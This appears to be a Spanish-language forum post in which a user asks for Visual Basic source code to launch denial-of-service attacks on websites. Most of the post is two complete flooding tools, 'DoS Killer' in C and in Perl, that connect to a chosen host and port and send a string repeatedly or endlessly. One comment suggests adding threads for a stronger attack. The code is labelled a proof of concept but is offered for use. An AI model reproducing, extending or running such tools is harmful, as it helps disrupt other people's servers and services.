Siempre he tenido la intriga y curiosidad d hacerme una aplicación que haga DoS jejeje...
Pero siempre que busco por internet me lleva a links que ponen que delphi, perl, c es mejor que no vb y que tal y tal... pero no!! Yo busco en VB6
...
Me ha quedado MUY claro lo siguiente:
Citar
crear una matriz de sockets, y crear un bucle
e ir cargando cada socket y conectar a la web para realizar la
correspondiente petición
e ir cargando cada socket y conectar a la web para realizar la
correspondiente petición
xD... pero no lo se poner en práctica... jejeje
Mirad, tengo los codes para hacer este tipo de programas, pero los tengo en C y perl, los posteo por si a alguien le interesa...
C
Código:
/*DoS Killer v2.0 - by Lympex
Prueba de concepto sobre conexiones de sockets en C.
Nota: Se le pueden añadir threads para realizar un ataque más fuerte.
Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
*/
#include <winsock.h>//sockets
#include <stdio.h>//i/o
#include <string.h>//strings
/*---*/
SOCKET s;/*el socket*/
/*estructuras*/
WSADATA wsa;
SOCKADDR_IN sin;
/*---*/
void main(int argc, char *argv[])
{
int Crea_Socket_Cliente(char *Ip, short int Puerto);//para crear el socket
char *HostIp(char *Host);//devuelve la Ip a partir del HOST
//para las repeticiones
unsigned int i,k;
//para el intervalo
unsigned int interval;
//para la información a enviar
char *buf;
if(argc!=6)
{
printf("\nDoS Killer v2.0 - by Lympex");
printf("\nPrueba de concepto de sockets en C");
printf("\n----------------------------------\n");
printf("\n[+] %s <host> <puerto> <string> <repeticiones> <intervalo(ms)>\n",argv[0]);
return;
}
/*cojemos los datos*/
i=atoi(argv[4]);
interval=atoi(argv[5]);
printf("\n[+] Creando la conexion...");
/*CREAMOS EL SOCKET*/
if(Crea_Socket_Cliente(HostIp(argv[1]),atoi(argv[2]))==1)
{
printf("\nError al crear el socket\n");
WSACleanup();
return;
}
printf("OK");
printf("\n[+] Conectando...");
/*CONECTAMOS SEGÚN LOS DATOS QUE NOS HAN DADO*/
if(connect(s,(LPSOCKADDR)&sin,sizeof(sin))==SOCKET_ERROR)
{
printf("\n[!] Error al conectar\n");
WSACleanup();
return;
}
printf("OK");
//creamos la string a enviar
buf=(char *) malloc(strlen(argv[3])*sizeof(char));
strcpy(buf,argv[3]);strcat(buf,"\n");
printf("\n[+] Realizando ataque DoS: ");
if(i==0)
{
for(;;)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}else{
//creamos el bucle para enviar los datos
for(k=0;k<i;k++)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}
printf("OK\n");
//salimos
WSACleanup();
return;
}
int Crea_Socket_Cliente(char *Ip, short int Puerto)
{
//iniciamos la librería socket
WSAStartup(MAKEWORD(1,1),&wsa);
//creamos el socket
s=socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET)
{
return 1;
}
//asignamos los datos
sin.sin_family=AF_INET;
sin.sin_port=htons(Puerto);
sin.sin_addr.s_addr=inet_addr(Ip);
return 0;
}
/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
WSADATA wsaData;
struct hostent *Dire;
/*creamos el socket y cogemos el hostname*/
if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
{
return NULL;
}
/*devolvemos la ip*/
return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}
PERL
Código:
#DoS Killer 1.0 - by Lympex
#
#Prueba de concepto de cómo realizar ataques DoS en Perl
#
#Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
#
if(@ARGV!=4)
{
print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n";
print "\n[+] Uso: DoSKiller.pl <servidor> <puerto> <string> <veces>";
exit;
}
#los datos
my $host=@ARGV[0];
my $puerto=@ARGV[1];
my $cadena=@ARGV[2];
my $veces=@ARGV[3];
#el socket
use IO::Socket;
print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n\n[+] Conectando...\n";
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "$puerto",
Proto => "tcp",
);
die "[!] Error al conectar\n" unless $sock;
#creamos el bucle para enviar los datos
print "[+] Realizando ataque DoS...";
if($veces==0)
{
for(;;)
{
print $sock "$cadena\n";
print ".";
}
}else{
for($i=0;$i<$veces;$i++)
{
print $sock "$cadena\n";
print ".";
}
}
print "\n";
close($sock);
exit;
#http://l-bytes.tk
Ok... Bueno, si alguien me puede facilitar el source en VB para este tipo de aplicaciones para hacer DoS a una web... Se lo agradecería mucho... Saludos...
Mientras tanto sigo "estudiando" el tema de los sockets
Mientras tanto sigo "estudiando" el tema de los sockets